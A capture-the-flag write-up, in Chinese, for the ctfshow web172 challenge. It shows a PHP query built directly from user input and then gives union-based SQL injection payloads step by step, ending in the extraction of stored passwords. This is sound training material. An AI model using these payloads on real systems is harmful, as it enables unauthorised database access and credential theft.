ctfshow-web入门-web172

php 复制代码
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。

相关推荐
2301_7796224112 分钟前
Go语言怎么用信号量控制并发_Go语言semaphore信号量教程【入门】
jvm·数据库·python
2301_7662834423 分钟前
c++如何将控制台输出保存到文件_cout重定向到txt【详解】
jvm·数据库·python
北极的冰箱26 分钟前
MySQL Ver 8.0.41 for macos14.7密码遗忘
数据库·mysql
XDH_CS1 小时前
MySQL 8.0 安装与 MySQL Workbench 使用全流程(超详细教程)
开发语言·数据库·mysql
treacle田2 小时前
达梦数据库-统计信息收集-记录
数据库·达梦数据库统计信息收集
审判长烧鸡2 小时前
PostgreSQL之索引/函数/触发器
数据库·postgresql·触发器·函数·索引
Data_Journal2 小时前
如何使用cURL更改User Agent
大数据·服务器·前端·javascript·数据库
Python私教3 小时前
GenericAgent PySide6 桌面应用深度解析:悬浮按钮 + 聊天面板的原生 Qt 方案
开发语言·数据库·qt
byoass3 小时前
企业云盘与设计软件深度集成:AutoCAD/Revit/SolidWorks插件开发与API集成实战
服务器·网络·数据库·安全·oracle·云计算
爬山算法4 小时前
MongoDB(113)如何使用第三方工具进行MongoDB监控?
数据库·mongodb